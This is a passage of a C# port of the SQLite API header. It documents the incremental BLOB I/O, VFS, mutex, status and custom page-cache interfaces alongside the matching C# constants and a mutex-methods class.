BLOB often forces the changes ** out to disk and so if any I/O errors occur, they will likely occur ** at the time when the BLOB is closed. Any errors that occur during ** closing are reported as a non-zero return value. ** ** The BLOB is closed unconditionally. Even if this routine returns ** an error code, the BLOB is still closed. ** ** Calling this routine with a null pointer (which as would be returned ** by failed call to [sqlite3_blob_open()]) is a harmless no-op. ** ** Requirements: ** [H17833] [H17836] [H17839] */ //SQLITE_API int sqlite3_blob_close(sqlite3_blob *); /* ** CAPI3REF: Return The Size Of An Open BLOB {H17840} ** ** Returns the size in bytes of the BLOB accessible via the ** successfully opened [BLOB handle] in its only argument. The ** incremental blob I/O routines can only read or overwriting existing ** blob content; they cannot change the size of a blob. ** ** This routine only works on a [BLOB handle] which has been created ** by a prior successful call to [sqlite3_blob_open()] and which has not ** been closed by [sqlite3_blob_close()]. Passing any other pointer in ** to this routine results in undefined and probably undesirable behavior. ** ** Requirements: ** [H17843] */ //SQLITE_API int sqlite3_blob_bytes(sqlite3_blob *); /* ** CAPI3REF: Read Data From A BLOB Incrementally {H17850} ** ** This function is used to read data from an open [BLOB handle] into a ** caller-supplied buffer. N bytes of data are copied into buffer Z ** from the open BLOB, starting at offset iOffset. ** ** If offset iOffset is less than N bytes from the end of the BLOB, ** [SQLITE_ERROR] is returned and no data is read. If N or iOffset is ** less than zero, [SQLITE_ERROR] is returned and no data is read. ** The size of the blob (and hence the maximum value of N+iOffset) ** can be determined using the [sqlite3_blob_bytes()] interface. ** ** An attempt to read from an expired [BLOB handle] fails with an ** error code of [SQLITE_ABORT]. ** ** On success, SQLITE_OK is returned. ** Otherwise, an [error code] or an [extended error code] is returned. ** ** This routine only works on a [BLOB handle] which has been created ** by a prior successful call to [sqlite3_blob_open()] and which has not ** been closed by [sqlite3_blob_close()]. Passing any other pointer in ** to this routine results in undefined and probably undesirable behavior. ** ** See also: [sqlite3_blob_write()]. ** ** Requirements: ** [H17853] [H17856] [H17859] [H17862] [H17863] [H17865] [H17868] */ //SQLITE_API int sqlite3_blob_read(sqlite3_blob *, void *Z, int N, int iOffset); /* ** CAPI3REF: Write Data Into A BLOB Incrementally {H17870} ** ** This function is used to write data into an open [BLOB handle] from a ** caller-supplied buffer. N bytes of data are copied from the buffer Z ** into the open BLOB, starting at offset iOffset. ** ** If the [BLOB handle] passed as the first argument was not opened for ** writing (the flags parameter to [sqlite3_blob_open()] was zero), ** this function returns [SQLITE_READONLY]. ** ** This function may only modify the contents of the BLOB; it is ** not possible to increase the size of a BLOB using this API. ** If offset iOffset is less than N bytes from the end of the BLOB, ** [SQLITE_ERROR] is returned and no data is written. If N is ** less than zero [SQLITE_ERROR] is returned and no data is written. ** The size of the BLOB (and hence the maximum value of N+iOffset) ** can be determined using the [sqlite3_blob_bytes()] interface. ** ** An attempt to write to an expired [BLOB handle] fails with an ** error code of [SQLITE_ABORT]. Writes to the BLOB that occurred ** before the [BLOB handle] expired are not rolled back by the ** expiration of the handle, though of course those changes might ** have been overwritten by the statement that expired the BLOB handle ** or by other independent statements. ** ** On success, SQLITE_OK is returned. ** Otherwise, an [error code] or an [extended error code] is returned. ** ** This routine only works on a [BLOB handle] which has been created ** by a prior successful call to [sqlite3_blob_open()] and which has not ** been closed by [sqlite3_blob_close()]. Passing any other pointer in ** to this routine results in undefined and probably undesirable behavior. ** ** See also: [sqlite3_blob_read()]. ** ** Requirements: ** [H17873] [H17874] [H17875] [H17876] [H17877] [H17879] [H17882] [H17885] ** [H17888] */ //SQLITE_API int sqlite3_blob_write(sqlite3_blob *, const void *z, int n, int iOffset); /* ** CAPI3REF: Virtual File System Objects {H11200} ** ** A virtual filesystem (VFS) is an [sqlite3_vfs] object ** that SQLite uses to interact ** with the underlying operating system. Most SQLite builds come with a ** single default VFS that is appropriate for the host computer. ** New VFSes can be registered and existing VFSes can be unregistered. ** The following interfaces are provided. ** ** The sqlite3_vfs_find() interface returns a pointer to a VFS given its name. ** Names are case sensitive. ** Names are zero-terminated UTF-8 strings. ** If there is no match, a NULL pointer is returned. ** If zVfsName is NULL then the default VFS is returned. ** ** New VFSes are registered with sqlite3_vfs_register(). ** Each new VFS becomes the default VFS if the makeDflt flag is set. ** The same VFS can be registered multiple times without injury. ** To make an existing VFS into the default VFS, register it again ** with the makeDflt flag set. If two different VFSes with the ** same name are registered, the behavior is undefined. If a ** VFS is registered with a name that is NULL or an empty string, ** then the behavior is undefined. ** ** Unregister a VFS with the sqlite3_vfs_unregister() interface. ** If the default VFS is unregistered, another VFS is chosen as ** the default. The choice for the new VFS is arbitrary. ** ** Requirements: ** [H11203] [H11206] [H11209] [H11212] [H11215] [H11218] */ //SQLITE_API sqlite3_vfs *sqlite3_vfs_find(const char *zVfsName); //SQLITE_API int sqlite3_vfs_register(sqlite3_vfs*, int makeDflt); //SQLITE_API int sqlite3_vfs_unregister(sqlite3_vfs*); /* ** CAPI3REF: Mutexes {H17000} ** ** The SQLite core uses these routines for thread ** synchronization. Though they are intended for internal ** use by SQLite, code that links against SQLite is ** permitted to use any of these routines. ** ** The SQLite source code contains multiple implementations ** of these mutex routines. An appropriate implementation ** is selected automatically at compile-time. The following ** implementations are available in the SQLite core: ** **
      **
    • SQLITE_MUTEX_OS2 **
    • SQLITE_MUTEX_PTHREAD **
    • SQLITE_MUTEX_W32 **
    • SQLITE_MUTEX_NOOP **
    ** ** The SQLITE_MUTEX_NOOP implementation is a set of routines ** that does no real locking and is appropriate for use in ** a single-threaded application. The SQLITE_MUTEX_OS2, ** SQLITE_MUTEX_PTHREAD, and SQLITE_MUTEX_W32 implementations ** are appropriate for use on OS/2, Unix, and Windows. ** ** If SQLite is compiled with the SQLITE_MUTEX_APPDEF preprocessor ** macro defined (with "-DSQLITE_MUTEX_APPDEF=1"), then no mutex ** implementation is included with the library. In this case the ** application must supply a custom mutex implementation using the ** [SQLITE_CONFIG_MUTEX] option of the sqlite3_config() function ** before calling sqlite3_initialize() or any other public sqlite3_ ** function that calls sqlite3_initialize(). ** ** {H17011} The sqlite3_mutex_alloc() routine allocates a new ** mutex and returns a pointer to it. {H17012} If it returns NULL ** that means that a mutex could not be allocated. {H17013} SQLite ** will unwind its stack and return an error. {H17014} The argument ** to sqlite3_mutex_alloc() is one of these integer constants: ** **
      **
    • SQLITE_MUTEX_FAST **
    • SQLITE_MUTEX_RECURSIVE **
    • SQLITE_MUTEX_STATIC_MASTER **
    • SQLITE_MUTEX_STATIC_MEM **
    • SQLITE_MUTEX_STATIC_MEM2 **
    • SQLITE_MUTEX_STATIC_PRNG **
    • SQLITE_MUTEX_STATIC_LRU **
    • SQLITE_MUTEX_STATIC_LRU2 **
    ** ** {H17015} The first two constants cause sqlite3_mutex_alloc() to create ** a new mutex. The new mutex is recursive when SQLITE_MUTEX_RECURSIVE ** is used but not necessarily so when SQLITE_MUTEX_FAST is used. {END} ** The mutex implementation does not need to make a distinction ** between SQLITE_MUTEX_RECURSIVE and SQLITE_MUTEX_FAST if it does ** not want to. {H17016} But SQLite will only request a recursive mutex in ** cases where it really needs one. {END} If a faster non-recursive mutex ** implementation is available on the host platform, the mutex subsystem ** might return such a mutex in response to SQLITE_MUTEX_FAST. ** ** {H17017} The other allowed parameters to sqlite3_mutex_alloc() each return ** a pointer to a static preexisting mutex. {END} Four static mutexes are ** used by the current version of SQLite. Future versions of SQLite ** may add additional static mutexes. Static mutexes are for internal ** use by SQLite only. Applications that use SQLite mutexes should ** use only the dynamic mutexes returned by SQLITE_MUTEX_FAST or ** SQLITE_MUTEX_RECURSIVE. ** ** {H17018} Note that if one of the dynamic mutex parameters (SQLITE_MUTEX_FAST ** or SQLITE_MUTEX_RECURSIVE) is used then sqlite3_mutex_alloc() ** returns a different mutex on every call. {H17034} But for the static ** mutex types, the same mutex is returned on every call that has ** the same type number. ** ** {H17019} The sqlite3_mutex_free() routine deallocates a previously ** allocated dynamic mutex. {H17020} SQLite is careful to deallocate every ** dynamic mutex that it allocates. {A17021} The dynamic mutexes must not be in ** use when they are deallocated. {A17022} Attempting to deallocate a static ** mutex results in undefined behavior. {H17023} SQLite never deallocates ** a static mutex. {END} ** ** The sqlite3_mutex_enter() and sqlite3_mutex_try() routines attempt ** to enter a mutex. {H17024} If another thread is already within the mutex, ** sqlite3_mutex_enter() will block and sqlite3_mutex_try() will return ** SQLITE_BUSY. {H17025} The sqlite3_mutex_try() interface returns [SQLITE_OK] ** upon successful entry. {H17026} Mutexes created using ** SQLITE_MUTEX_RECURSIVE can be entered multiple times by the same thread. ** {H17027} In such cases the, ** mutex must be exited an equal number of times before another thread ** can enter. {A17028} If the same thread tries to enter any other ** kind of mutex more than once, the behavior is undefined. ** {H17029} SQLite will never exhibit ** such behavior in its own use of mutexes. ** ** Some systems (for example, Windows 95) do not support the operation ** implemented by sqlite3_mutex_try(). On those systems, sqlite3_mutex_try() ** will always return SQLITE_BUSY. {H17030} The SQLite core only ever uses ** sqlite3_mutex_try() as an optimization so this is acceptable behavior. ** ** {H17031} The sqlite3_mutex_leave() routine exits a mutex that was ** previously entered by the same thread. {A17032} The behavior ** is undefined if the mutex is not currently entered by the ** calling thread or is not currently allocated. {H17033} SQLite will ** never do either. {END} ** ** If the argument to sqlite3_mutex_enter(), sqlite3_mutex_try(), or ** sqlite3_mutex_leave() is a NULL pointer, then all three routines ** behave as no-ops. ** ** See also: [sqlite3_mutex_held()] and [sqlite3_mutex_notheld()]. */ //SQLITE_API sqlite3_mutex *sqlite3_mutex_alloc(int); //SQLITE_API void sqlite3_mutex_free(sqlite3_mutex*); //SQLITE_API void sqlite3_mutex_enter(sqlite3_mutex*); //SQLITE_API int sqlite3_mutex_try(sqlite3_mutex*); //SQLITE_API void sqlite3_mutex_leave(sqlite3_mutex*); /* ** CAPI3REF: Mutex Methods Object {H17120} ** EXPERIMENTAL ** ** An instance of this structure defines the low-level routines ** used to allocate and use mutexes. ** ** Usually, the default mutex implementations provided by SQLite are ** sufficient, however the user has the option of substituting a custom ** implementation for specialized deployments or systems for which SQLite ** does not provide a suitable implementation. In this case, the user ** creates and populates an instance of this structure to pass ** to sqlite3_config() along with the [SQLITE_CONFIG_MUTEX] option. ** Additionally, an instance of this structure can be used as an ** output variable when querying the system for the current mutex ** implementation, using the [SQLITE_CONFIG_GETMUTEX] option. ** ** The xMutexInit method defined by this structure is invoked as ** part of system initialization by the sqlite3_initialize() function. ** {H17001} The xMutexInit routine shall be called by SQLite once for each ** effective call to [sqlite3_initialize()]. ** ** The xMutexEnd method defined by this structure is invoked as ** part of system shutdown by the sqlite3_shutdown() function. The ** implementation of this method is expected to release all outstanding ** resources obtained by the mutex methods implementation, especially ** those obtained by the xMutexInit method. {H17003} The xMutexEnd() ** interface shall be invoked once for each call to [sqlite3_shutdown()]. ** ** The remaining seven methods defined by this structure (xMutexAlloc, ** xMutexFree, xMutexEnter, xMutexTry, xMutexLeave, xMutexHeld and ** xMutexNotheld) implement the following interfaces (respectively): ** **
      **
    • [sqlite3_mutex_alloc()]
    • **
    • [sqlite3_mutex_free()]
    • **
    • [sqlite3_mutex_enter()]
    • **
    • [sqlite3_mutex_try()]
    • **
    • [sqlite3_mutex_leave()]
    • **
    • [sqlite3_mutex_held()]
    • **
    • [sqlite3_mutex_notheld()]
    • **
    ** ** The only difference is that the public sqlite3_XXX functions enumerated ** above silently ignore any invocations that pass a NULL pointer instead ** of a valid mutex handle. The implementations of the methods defined ** by this structure are not required to handle this case, the results ** of passing a NULL pointer instead of a valid mutex handle are undefined ** (i.e. it is acceptable to provide an implementation that segfaults if ** it is passed a NULL pointer). */ //typedef struct sqlite3_mutex_methods sqlite3_mutex_methods; //struct sqlite3_mutex_methods { // int (*xMutexInit)(void); // int (*xMutexEnd)(void); // sqlite3_mutex *(*xMutexAlloc)(int); // void (*xMutexFree)(sqlite3_mutex *); // void (*xMutexEnter)(sqlite3_mutex *); // int (*xMutexTry)(sqlite3_mutex *); // void (*xMutexLeave)(sqlite3_mutex *); // int (*xMutexHeld)(sqlite3_mutex *); // int (*xMutexNotheld)(sqlite3_mutex *); //}; public class sqlite3_mutex_methods { public dxMutexInit xMutexInit; public dxMutexEnd xMutexEnd; public dxMutexAlloc xMutexAlloc; public dxMutexFree xMutexFree; public dxMutexEnter xMutexEnter; public dxMutexTry xMutexTry; public dxMutexLeave xMutexLeave; public dxMutexHeld xMutexHeld; public dxMutexNotheld xMutexNotheld; public sqlite3_mutex_methods( dxMutexInit xMutexInit, dxMutexEnd xMutexEnd, dxMutexAlloc xMutexAlloc, dxMutexFree xMutexFree, dxMutexEnter xMutexEnter, dxMutexTry xMutexTry, dxMutexLeave xMutexLeave, dxMutexHeld xMutexHeld, dxMutexNotheld xMutexNotheld ) { this.xMutexInit = xMutexInit; this.xMutexEnd = xMutexEnd; this.xMutexAlloc = xMutexAlloc; this.xMutexFree = xMutexFree; this.xMutexEnter = xMutexEnter; this.xMutexTry = xMutexTry; this.xMutexLeave = xMutexLeave; this.xMutexHeld = xMutexHeld; this.xMutexNotheld = xMutexNotheld; } }; /* ** CAPI3REF: Mutex Verification Routines {H17080} ** ** The sqlite3_mutex_held() and sqlite3_mutex_notheld() routines ** are intended for use inside assert() statements. {H17081} The SQLite core ** never uses these routines except inside an assert() and applications ** are advised to follow the lead of the core. {H17082} The core only ** provides implementations for these routines when it is compiled ** with the SQLITE_DEBUG flag. {A17087} External mutex implementations ** are only required to provide these routines if SQLITE_DEBUG is ** defined and if NDEBUG is not defined. ** ** {H17083} These routines should return true if the mutex in their argument ** is held or not held, respectively, by the calling thread. ** ** {X17084} The implementation is not required to provided versions of these ** routines that actually work. If the implementation does not provide working ** versions of these routines, it should at least provide stubs that always ** return true so that one does not get spurious assertion failures. ** ** {H17085} If the argument to sqlite3_mutex_held() is a NULL pointer then ** the routine should return 1. {END} This seems counter-intuitive since ** clearly the mutex cannot be held if it does not exist. But the ** the reason the mutex does not exist is because the build is not ** using mutexes. And we do not want the assert() containing the ** call to sqlite3_mutex_held() to fail, so a non-zero return is ** the appropriate thing to do. {H17086} The sqlite3_mutex_notheld() ** interface should also return 1 when given a NULL pointer. */ //SQLITE_API int sqlite3_mutex_held(sqlite3_mutex*); //SQLITE_API int sqlite3_mutex_notheld(sqlite3_mutex*); /* ** CAPI3REF: Mutex Types {H17001} ** ** The [sqlite3_mutex_alloc()] interface takes a single argument ** which is one of these integer constants. ** ** The set of static mutexes may change from one SQLite release to the ** next. Applications that override the built-in mutex logic must be ** prepared to accommodate additional static mutexes. */ //#define SQLITE_MUTEX_FAST 0 //#define SQLITE_MUTEX_RECURSIVE 1 //#define SQLITE_MUTEX_STATIC_MASTER 2 //#define SQLITE_MUTEX_STATIC_MEM 3 /* sqlite3_malloc() */ //#define SQLITE_MUTEX_STATIC_MEM2 4 /* NOT USED */ //#define SQLITE_MUTEX_STATIC_OPEN 4 /* sqlite3BtreeOpen() */ //#define SQLITE_MUTEX_STATIC_PRNG 5 /* sqlite3_random() */ //#define SQLITE_MUTEX_STATIC_LRU 6 /* lru page list */ //#define SQLITE_MUTEX_STATIC_LRU2 7 /* lru page list */ const int SQLITE_MUTEX_FAST = 0; const int SQLITE_MUTEX_RECURSIVE = 1; const int SQLITE_MUTEX_STATIC_MASTER = 2; const int SQLITE_MUTEX_STATIC_MEM = 3; const int SQLITE_MUTEX_STATIC_OPEN = 4; const int SQLITE_MUTEX_STATIC_PRNG = 5; const int SQLITE_MUTEX_STATIC_LRU = 6; const int SQLITE_MUTEX_STATIC_LRU2 = 7; /* ** CAPI3REF: Retrieve the mutex for a database connection {H17002} ** ** This interface returns a pointer the [sqlite3_mutex] object that ** serializes access to the [database connection] given in the argument ** when the [threading mode] is Serialized. ** If the [threading mode] is Single-thread or Multi-thread then this ** routine returns a NULL pointer. */ //SQLITE_API sqlite3_mutex *sqlite3_db_mutex(sqlite3*); /* ** CAPI3REF: Low-Level Control Of Database Files {H11300} ** ** {H11301} The [sqlite3_file_control()] interface makes a direct call to the ** xFileControl method for the [sqlite3_io_methods] object associated ** with a particular database identified by the second argument. {H11302} The ** name of the database is the name assigned to the database by the ** ATTACH SQL command that opened the ** database. {H11303} To control the main database file, use the name "main" ** or a NULL pointer. {H11304} The third and fourth parameters to this routine ** are passed directly through to the second and third parameters of ** the xFileControl method. {H11305} The return value of the xFileControl ** method becomes the return value of this routine. ** ** {H11306} If the second parameter (zDbName) does not match the name of any ** open database file, then SQLITE_ERROR is returned. {H11307} This error ** code is not remembered and will not be recalled by [sqlite3_errcode()] ** or [sqlite3_errmsg()]. {A11308} The underlying xFileControl method might ** also return SQLITE_ERROR. {A11309} There is no way to distinguish between ** an incorrect zDbName and an SQLITE_ERROR return from the underlying ** xFileControl method. {END} ** ** See also: [SQLITE_FCNTL_LOCKSTATE] */ //SQLITE_API int sqlite3_file_control(sqlite3*, const char *zDbName, int op, void*); /* ** CAPI3REF: Testing Interface {H11400} ** ** The sqlite3_test_control() interface is used to read out internal ** state of SQLite and to inject faults into SQLite for testing ** purposes. The first parameter is an operation code that determines ** the number, meaning, and operation of all subsequent parameters. ** ** This interface is not for use by applications. It exists solely ** for verifying the correct operation of the SQLite library. Depending ** on how the SQLite library is compiled, this interface might not exist. ** ** The details of the operation codes, their meanings, the parameters ** they take, and what they do are all subject to change without notice. ** Unlike most of the SQLite API, this function is not guaranteed to ** operate consistently from one release to the next. */ //SQLITE_API int sqlite3_test_control(int op, ...); /* ** CAPI3REF: Testing Interface Operation Codes {H11410} ** ** These constants are the valid operation code parameters used ** as the first argument to [sqlite3_test_control()]. ** ** These parameters and their meanings are subject to change ** without notice. These values are for testing purposes only. ** Applications should not use any of these parameters or the ** [sqlite3_test_control()] interface. */ //#define SQLITE_TESTCTRL_PRNG_SAVE 5 //#define SQLITE_TESTCTRL_PRNG_RESTORE 6 //#define SQLITE_TESTCTRL_PRNG_RESET 7 //#define SQLITE_TESTCTRL_BITVEC_TEST 8 //#define SQLITE_TESTCTRL_FAULT_INSTALL 9 //#define SQLITE_TESTCTRL_BENIGN_MALLOC_HOOKS 10 //#define SQLITE_TESTCTRL_PENDING_BYTE 11 //#define SQLITE_TESTCTRL_ASSERT 12 //#define SQLITE_TESTCTRL_ALWAYS 13 //#define SQLITE_TESTCTRL_RESERVE 14 const int SQLITE_TESTCTRL_PRNG_SAVE = 5; const int SQLITE_TESTCTRL_PRNG_RESTORE = 6; const int SQLITE_TESTCTRL_PRNG_RESET = 7; const int SQLITE_TESTCTRL_BITVEC_TEST = 8; const int SQLITE_TESTCTRL_FAULT_INSTALL = 9; const int SQLITE_TESTCTRL_BENIGN_MALLOC_HOOKS = 10; const int SQLITE_TESTCTRL_PENDING_BYTE = 11; const int SQLITE_TESTCTRL_ASSERT = 12; const int SQLITE_TESTCTRL_ALWAYS = 13; const int SQLITE_TESTCTRL_RESERVE = 14; /* ** CAPI3REF: SQLite Runtime Status {H17200} ** EXPERIMENTAL ** ** This interface is used to retrieve runtime status information ** about the preformance of SQLite, and optionally to reset various ** highwater marks. The first argument is an integer code for ** the specific parameter to measure. Recognized integer codes ** are of the form [SQLITE_STATUS_MEMORY_USED | SQLITE_STATUS_...]. ** The current value of the parameter is returned into *pCurrent. ** The highest recorded value is returned in *pHighwater. If the ** resetFlag is true, then the highest record value is reset after ** *pHighwater is written. Some parameters do not record the highest ** value. For those parameters ** nothing is written into *pHighwater and the resetFlag is ignored. ** Other parameters record only the highwater mark and not the current ** value. For these latter parameters nothing is written into *pCurrent. ** ** This routine returns SQLITE_OK on success and a non-zero ** [error code] on failure. ** ** This routine is threadsafe but is not atomic. This routine can ** called while other threads are running the same or different SQLite ** interfaces. However the values returned in *pCurrent and ** *pHighwater reflect the status of SQLite at different points in time ** and it is possible that another thread might change the parameter ** in between the times when *pCurrent and *pHighwater are written. ** ** See also: [sqlite3_db_status()] */ //SQLITE_API SQLITE_EXPERIMENTAL int sqlite3_status(int op, int *pCurrent, int *pHighwater, int resetFlag); /* ** CAPI3REF: Status Parameters {H17250} ** EXPERIMENTAL ** ** These integer constants designate various run-time status parameters ** that can be returned by [sqlite3_status()]. ** **
    **
    SQLITE_STATUS_MEMORY_USED
    **
    This parameter is the current amount of memory checked out ** using [sqlite3_malloc()], either directly or indirectly. The ** figure includes calls made to [sqlite3_malloc()] by the application ** and internal memory usage by the SQLite library. Scratch memory ** controlled by [SQLITE_CONFIG_SCRATCH] and auxiliary page-cache ** memory controlled by [SQLITE_CONFIG_PAGECACHE] is not included in ** this parameter. The amount returned is the sum of the allocation ** sizes as reported by the xSize method in [sqlite3_mem_methods].
    ** **
    SQLITE_STATUS_MALLOC_SIZE
    **
    This parameter records the largest memory allocation request ** handed to [sqlite3_malloc()] or [sqlite3_realloc()] (or their ** internal equivalents). Only the value returned in the ** *pHighwater parameter to [sqlite3_status()] is of interest. ** The value written into the *pCurrent parameter is undefined.
    ** **
    SQLITE_STATUS_PAGECACHE_USED
    **
    This parameter returns the number of pages used out of the ** [pagecache memory allocator] that was configured using ** [SQLITE_CONFIG_PAGECACHE]. The ** value returned is in pages, not in bytes.
    ** **
    SQLITE_STATUS_PAGECACHE_OVERFLOW
    **
    This parameter returns the number of bytes of page cache ** allocation which could not be statisfied by the [SQLITE_CONFIG_PAGECACHE] ** buffer and where forced to overflow to [sqlite3_malloc()]. The ** returned value includes allocations that overflowed because they ** where too large (they were larger than the "sz" parameter to ** [SQLITE_CONFIG_PAGECACHE]) and allocations that overflowed because ** no space was left in the page cache.
    ** **
    SQLITE_STATUS_PAGECACHE_SIZE
    **
    This parameter records the largest memory allocation request ** handed to [pagecache memory allocator]. Only the value returned in the ** *pHighwater parameter to [sqlite3_status()] is of interest. ** The value written into the *pCurrent parameter is undefined.
    ** **
    SQLITE_STATUS_SCRATCH_USED
    **
    This parameter returns the number of allocations used out of the ** [scratch memory allocator] configured using ** [SQLITE_CONFIG_SCRATCH]. The value returned is in allocations, not ** in bytes. Since a single thread may only have one scratch allocation ** outstanding at time, this parameter also reports the number of threads ** using scratch memory at the same time.
    ** **
    SQLITE_STATUS_SCRATCH_OVERFLOW
    **
    This parameter returns the number of bytes of scratch memory ** allocation which could not be statisfied by the [SQLITE_CONFIG_SCRATCH] ** buffer and where forced to overflow to [sqlite3_malloc()]. The values ** returned include overflows because the requested allocation was too ** larger (that is, because the requested allocation was larger than the ** "sz" parameter to [SQLITE_CONFIG_SCRATCH]) and because no scratch buffer ** slots were available. **
    ** **
    SQLITE_STATUS_SCRATCH_SIZE
    **
    This parameter records the largest memory allocation request ** handed to [scratch memory allocator]. Only the value returned in the ** *pHighwater parameter to [sqlite3_status()] is of interest. ** The value written into the *pCurrent parameter is undefined.
    ** **
    SQLITE_STATUS_PARSER_STACK
    **
    This parameter records the deepest parser stack. It is only ** meaningful if SQLite is compiled with [YYTRACKMAXSTACKDEPTH].
    **
    ** ** New status parameters may be added from time to time. */ //#define SQLITE_STATUS_MEMORY_USED 0 //#define SQLITE_STATUS_PAGECACHE_USED 1 //#define SQLITE_STATUS_PAGECACHE_OVERFLOW 2 //#define SQLITE_STATUS_SCRATCH_USED 3 //#define SQLITE_STATUS_SCRATCH_OVERFLOW 4 //#define SQLITE_STATUS_MALLOC_SIZE 5 //#define SQLITE_STATUS_PARSER_STACK 6 //#define SQLITE_STATUS_PAGECACHE_SIZE 7 //#define SQLITE_STATUS_SCRATCH_SIZE 8 const int SQLITE_STATUS_MEMORY_USED = 0; const int SQLITE_STATUS_PAGECACHE_USED = 1; const int SQLITE_STATUS_PAGECACHE_OVERFLOW = 2; const int SQLITE_STATUS_SCRATCH_USED = 3; const int SQLITE_STATUS_SCRATCH_OVERFLOW = 4; const int SQLITE_STATUS_MALLOC_SIZE = 5; const int SQLITE_STATUS_PARSER_STACK = 6; const int SQLITE_STATUS_PAGECACHE_SIZE = 7; const int SQLITE_STATUS_SCRATCH_SIZE = 8; /* ** CAPI3REF: Database Connection Status {H17500} ** EXPERIMENTAL ** ** This interface is used to retrieve runtime status information ** about a single [database connection]. The first argument is the ** database connection object to be interrogated. The second argument ** is the parameter to interrogate. Currently, the only allowed value ** for the second parameter is [SQLITE_DBSTATUS_LOOKASIDE_USED]. ** Additional options will likely appear in future releases of SQLite. ** ** The current value of the requested parameter is written into *pCur ** and the highest instantaneous value is written into *pHiwtr. If ** the resetFlg is true, then the highest instantaneous value is ** reset back down to the current value. ** ** See also: [sqlite3_status()] and [sqlite3_stmt_status()]. */ //SQLITE_API SQLITE_EXPERIMENTAL int sqlite3_db_status(sqlite3*, int op, int *pCur, int *pHiwtr, int resetFlg); /* ** CAPI3REF: Status Parameters for database connections {H17520} ** EXPERIMENTAL ** ** Status verbs for [sqlite3_db_status()]. ** **
    **
    SQLITE_DBSTATUS_LOOKASIDE_USED
    **
    This parameter returns the number of lookaside memory slots currently ** checked out.
    **
    */ //#define SQLITE_DBSTATUS_LOOKASIDE_USED 0 const int SQLITE_DBSTATUS_LOOKASIDE_USED = 0; /* ** CAPI3REF: Prepared Statement Status {H17550} ** EXPERIMENTAL ** ** Each prepared statement maintains various ** [SQLITE_STMTSTATUS_SORT | counters] that measure the number ** of times it has performed specific operations. These counters can ** be used to monitor the performance characteristics of the prepared ** statements. For example, if the number of table steps greatly exceeds ** the number of table searches or result rows, that would tend to indicate ** that the prepared statement is using a full table scan rather than ** an index. ** ** This interface is used to retrieve and reset counter values from ** a [prepared statement]. The first argument is the prepared statement ** object to be interrogated. The second argument ** is an integer code for a specific [SQLITE_STMTSTATUS_SORT | counter] ** to be interrogated. ** The current value of the requested counter is returned. ** If the resetFlg is true, then the counter is reset to zero after this ** interface call returns. ** ** See also: [sqlite3_status()] and [sqlite3_db_status()]. */ //SQLITE_API SQLITE_EXPERIMENTAL int sqlite3_stmt_status(sqlite3_stmt*, int op,int resetFlg); /* ** CAPI3REF: Status Parameters for prepared statements {H17570} ** EXPERIMENTAL ** ** These preprocessor macros define integer codes that name counter ** values associated with the [sqlite3_stmt_status()] interface. ** The meanings of the various counters are as follows: ** **
    **
    SQLITE_STMTSTATUS_FULLSCAN_STEP
    **
    This is the number of times that SQLite has stepped forward in ** a table as part of a full table scan. Large numbers for this counter ** may indicate opportunities for performance improvement through ** careful use of indices.
    ** **
    SQLITE_STMTSTATUS_SORT
    **
    This is the number of sort operations that have occurred. ** A non-zero value in this counter may indicate an opportunity to ** improvement performance through careful use of indices.
    ** **
    */ //#define SQLITE_STMTSTATUS_FULLSCAN_STEP 1 //#define SQLITE_STMTSTATUS_SORT 2 const int SQLITE_STMTSTATUS_FULLSCAN_STEP = 1; const int SQLITE_STMTSTATUS_SORT = 2; /* ** CAPI3REF: Custom Page Cache Object ** EXPERIMENTAL ** ** The sqlite3_pcache type is opaque. It is implemented by ** the pluggable module. The SQLite core has no knowledge of ** its size or internal structure and never deals with the ** sqlite3_pcache object except by holding and passing pointers ** to the object. ** ** See [sqlite3_pcache_methods] for additional information. */ //typedef struct sqlite3_pcache sqlite3_pcache; /* ** CAPI3REF: Application Defined Page Cache. ** EXPERIMENTAL ** ** The [sqlite3_config]([SQLITE_CONFIG_PCACHE], ...) interface can ** register an alternative page cache implementation by passing in an ** instance of the sqlite3_pcache_methods structure. The majority of the ** heap memory used by sqlite is used by the page cache to cache data read ** from, or ready to be written to, the database file. By implementing a ** custom page cache using this API, an application can control more ** precisely the amount of memory consumed by sqlite, the way in which ** said memory is allocated and released, and the policies used to ** determine exactly which parts of a database file are cached and for ** how long. ** ** The contents of the structure are copied to an internal buffer by sqlite ** within the call to [sqlite3_config]. ** ** The xInit() method is called once for each call to [sqlite3_initialize()] ** (usually only once during the lifetime of the process). It is passed ** a copy of the sqlite3_pcache_methods.pArg value. It can be used to set ** up global structures and mutexes required by the custom page cache ** implementation. The xShutdown() method is called from within ** [sqlite3_shutdown()], if the application invokes this API. It can be used ** to clean up any outstanding resources before process shutdown, if required. ** ** The xCreate() method is used to construct a new cache instance. The ** first parameter, szPage, is the size in bytes of the pages that must ** be allocated by the cache. szPage will not be a power of two. The ** second argument, bPurgeable, is true if the cache being created will ** be used to cache database pages read from a file stored on disk, or ** false if it is used for an in-memory database. The cache implementation ** does not have to do anything special based on the value of bPurgeable, ** it is purely advisory. ** ** The xCachesize() method may be called at any time by SQLite to set the ** suggested maximum cache-size (number of pages stored by) the cache ** instance passed as the first argument. This is the value configured using ** the SQLite "[PRAGMA cache_size]" command. As with the bPurgeable parameter, ** the implementation is not required to do anything special with this ** value, it is advisory only. ** ** The xPagecount() method should return the number of pages currently ** stored in the cache supplied as an argument. ** ** The xFetch() method is used to fetch a page and return a pointer to it. ** A 'page', in this context, is a buffer of szPage bytes aligned at an ** 8-byte boundary. The page to be fetched is determined by the key. The ** mimimum key value is 1. After it has been retrieved using xFetch, the page ** is considered to be pinned. ** ** If the requested page is already in the page cache, then a pointer to ** the cached buffer should be returned with its contents intact. If the ** page is not already in the cache, then the expected behaviour of the ** cache is determined by the value of the createFlag parameter passed ** to xFetch, according to the following table: ** ** **
    createFlagExpected Behaviour **
    0NULL should be returned. No new cache entry is created. **
    1If createFlag is set to 1, this indicates that ** SQLite is holding pinned pages that can be unpinned ** by writing their contents to the database file (a ** relatively expensive operation). In this situation the ** cache implementation has two choices: it can return NULL, ** in which case SQLite will attempt to unpin one or more ** pages before re-requesting the same page, or it can ** allocate a new page and return a pointer to it. If a new ** page is allocated, then the first sizeof(void*) bytes of ** it (at least) must be zeroed before it is returned. **
    2If createFlag is set to 2, then SQLite is not holding any ** pinned pages associated with the specific cache passed ** as the first argument to xFetch() that can be unpinned. The ** cache implementation should attempt to allocate a new ** cache entry and return a pointer to it. Again, the first ** sizeof(void*) bytes of the page should be zeroed before ** it is returned. If the xFetch() method returns NULL when ** createFlag==2, SQLite assumes that a memory allocation ** failed and returns SQLITE_NOMEM to the user. **
